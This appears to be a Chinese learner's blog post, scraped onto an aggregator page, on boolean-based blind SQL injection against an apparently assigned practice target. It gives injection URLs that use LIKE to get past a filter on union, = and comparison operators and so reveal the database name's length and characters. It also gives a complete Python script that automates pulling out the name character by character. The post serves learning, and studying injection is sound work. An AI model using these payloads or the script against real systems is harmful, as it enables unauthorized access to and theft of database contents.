sql 布尔盲注 python脚本实现
来源:互联网 发布:匿名者黑页源码 编辑:程序博客网 时间:2024/05/16 04:54
渣渣一枚,把学习sql注入过程中遇到的一些问题记录下来,以供日后参考。
按照网上教程注入时发现过滤了union = < > ,顿时就一脸懵逼,因为不会构造sql语句,更不会绕过,最后在师父的指导下,首先通过手工注入,注入出了数据库名及长度。
1.数据库名长度:
http://XXX.XXX.XX/sql.php? id=345’ and length(database()) like 1 and ‘1’ like ‘1,构造语句为and length(database()) like 1 and ‘1’ like ‘1,手工注入时只要改like 后面的1就行了。
2.数据库名:
再注入数据库名,构造语句为http://XXX.XXX.XX/sql.php ? id=345’ and (ascii(substr(database(),1,1))) like 115 and ‘1’ like ‘1 ,修改like后面的ascii字符值,及database()后的1,逐个注入出数据库名。
3.用python实现:
在网上搜了代码,试了好久不行,最后发现是python判断条件不一样,原文中是通过返回字符串长度来判断是否注入成功的,而我的题目是通过判断返回页面上有无‘test’来判断是否注入成功,于是转换思路,利用正则表达式,爬虫读取并匹配页面是否有test,若有则说明成功注入。代码如下:
import requestsimport re def getDBName(DBName_len): DBName = "" url_template = "http://XXX.XXX.XX/sql.php ? id=345' and (ascii(substr(database(),{0},1))) like {1} and '1' like '1" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' print("Start to retrieve database name...") for i in range( 1, DBName_len + 1): print("Number of letter: " , i) tempDBName = DBName for char in chars: print("Test letter " + char) char_ascii = ord(char) url = url_template.format(i, char_ascii) response = requests.get(url) pattern = re.compile(r'test') match = pattern.search(response.text) if match: DBName += char print("DBName is: " + DBName + "...") break if tempDBName == DBName: print("Letters too little! Program ended." ) exit() print("Retrieve completed! DBName is: " + DBName) getDBName(6)
至此,算是勉强完成了师父的任务,渣渣仍需奋斗,加油!
阅读全文
0 0
- sql 布尔盲注 python脚本实现
- sql注入基于布尔/时间的盲注详解
- Python SQL批量脚本
- python脚本随笔:实现生成插入表的sql语句
- SQL 之 布尔逻辑
- python中的布尔值
- 布尔类型判断-python
- python 布尔类型
- python-布尔运算
- Python中的布尔类型
- Python 布尔值
- Python 布尔型
- Python中布尔类型
- Python中的布尔类型
- Python中布尔类型
- Python中布尔类型
- Python中布尔类型
- Python复合布尔表达式
- Spark基础随笔:Spark1.6 Idea下远程调试的2种方法
- springboot bean 注解绑定
- SQL生成临时表id自增列
- c++ vector容器
- php操作redis常用方法及代码实例
- sql 布尔盲注 python脚本实现
- linux内核内存分配
- 做了 3 年企业级 SaaS,我收获的 10 点心得
- matlab把一个目录下的图片缩放到指定大小
- 第十八周项目三 胖子伤不起(体重与健康)
- 遍历List<Map<String,Object>>
- 数据库中日期排序,如何将null排在后面
- core dump 设置
- UISearchBar的外观自定义,打造你的搜索框